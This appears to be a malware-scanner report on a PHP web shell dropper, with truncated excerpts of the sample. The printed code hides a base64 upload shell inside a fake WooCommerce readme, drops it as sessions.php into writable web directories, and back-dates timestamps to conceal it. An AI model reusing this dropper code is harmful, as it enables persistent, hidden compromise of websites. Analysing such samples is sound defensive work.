Hostile ^100% php-malware-analysis Download

154.48.243.123XHNOqcveF-qdhdBRjMorxAAAAAM.0.file

Web shell dropper with C2

Calls PHP fwrite()PHP recursive directory iterator

SHA-256d7b338544ad6862168d4e6dc20d37f8e26eb4c2c11723d2f2a9954f842976354

Evidence

Encoded content decoded: base64 lines 1–5

1<?php
2error_reporting(0);
3set_time_limit(0);
4$depth = 4;
5$fileData = 'PT09IFdvb0NvbW1lcmNlID09PQ0KQ29udHJpYnV0b3JzOiBhdXRvbWF0dGljLCBtaWtlam9sbGV5LCBqYW1lc2tvc3RlciwgY2xhdWRpb3NhbmNoZXMsIGNsYXVkaXVsb2Rybywga2xvb24sIHJvZHJpZ29zcHJpbW8sIGpzaHJldmUsIGNvZGVya2V2aW4NClRhZ3M6IGVjb21tZXJjZSwgZS1jb21tZXJjZSwgc3RvcmUsIHNhbGVzLCBzZWxsLCBzaG9wLCBjYXJ0LCBjaGVja291dCwgZG93bmxvYWRhYmxlLCBkb3dubG9hZHMsIHBheXBhbCwgc3RvcmVmcm9udCwgd29vIGNvbW1lcmNlDQp3aGF0IHRpbWVzIHdvcmRwcmVzcw0KPD9waHAgaWYoJF9HRVRbImxvZ2luIl09PSJjYW5zaHUiKXtpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvIC …

PHP replaces matched string content lines 5–17

5:770… dmFsdWU9InN1Ym1pdCIvPjwvZm9ybT4nO30gPz4=';
6$fileName = 'sessions.php';
7$filePrefix = '';
8$fileMode = 0;
9function GetAllDirs($startPath) {
10	$allDirs = array($startPath => 0);
11	$rDir = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($startPath), RecursiveIteratorIterator::CHILD_FIRST);
12	$rgResult = array();
13	foreach($rDir as $rPath) {
14		if($rPath->isDir() && $rPath->isWritable() && !$rDir->isDot()) {
15			$dirPath = str_replace('\\', '/', (string)$rPath);
16                        if(!CheckHtaccess($dirPath.'/.htaccess'))
17			    $allDirs[$dirPath] = subst …

PHP reads content from a variable source lines 28–39

5… (is_readable($htaccessPath)) {
	$htaccessContent = strtolower(file_get_contents($htaccessPath));
	$searchContent = 'deny from';
	if (!strstr($htaccessContent, $searchContent)) {
⋯8 lines

Reads PHP DOCUMENT_ROOT request variable lines 47–65

50… e, $filePrefix) {
48$pathParts = pathinfo($filePath);
49$fileTime = filemtime($pathParts['dirname']);
if(file_exists($filePath)) {
	if($fileMode == 2)
		return '';
	if($fileMode == 0)
		$filePath = $pathParts['dirname'].'/'.$filePrefix.$pathParts['basename'];
}
if($fp = fopen($filePath, 'w')) {
fwrite($fp, $fileData);
fclose($fp);
touch($filePath, $fileTime);
touch($pathParts['dirname'], $fileTime);
return $filePath;
}
63}
64$startDir = str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']);
65$domZones = '(\.ru|\.ru\.com|\.ru\.net|\.com\.ru|\.org\.ru|\.net\.ru|\.msk\.ru|\.msk\.su|\.spb\.ru|\.spb\.su|\.nov\.ru|\.nov\.su|\.edu\.ru|\.int\.ru|\.ac\.ru|\.pp\.ru|\.su|\.ua|\.com\.ua|\.co\.ua|\.biz\.ua|\.kiev\.ua|\.org\.ua|\.net\.ua|\.pp\.ua|\.dp\.ua|\.sumy\.ua|\.uz\.ua|ks\.ua|\.pl\.ua|\.if\.ua|\.cv\.ua|\.rv\.ua|\.mk\.ua|\.dn\.ua|\.lg\.ua|\.kh\.ua|\.zp\.ua|\.od\.ua|\.ck\.ua|\.kr\.ua|\.lutsk\.ua|\.volin\.ua|\.zt\.ua|\.yalta\.ua|\.sevastopol\.ua|\.cremea\.ua|\.com|\.edu|\.gov|\.net|\.org|\.biz|\.info|\.name|\.jobs|\.mobi|\.tel|\.travel|\.az|\.am|\.by|\.ge|\.kz|\.kg|\.lv|\.lt|\.md|\.ru|\.su|\.tj|\.tm …

Reads PHP HTTP request server variable lines 69–70

69:44… #', $dir, $matches) && !preg_match('#('.str_replace('www.', '', $_SERVER['HTTP_HOST']).')|('.$_SERVER['HTTP_HOST'].')#', $dir)) {
70                        $domainPath = rtrim($preDomainPath.'/'.$dir.'/'.$postDomain …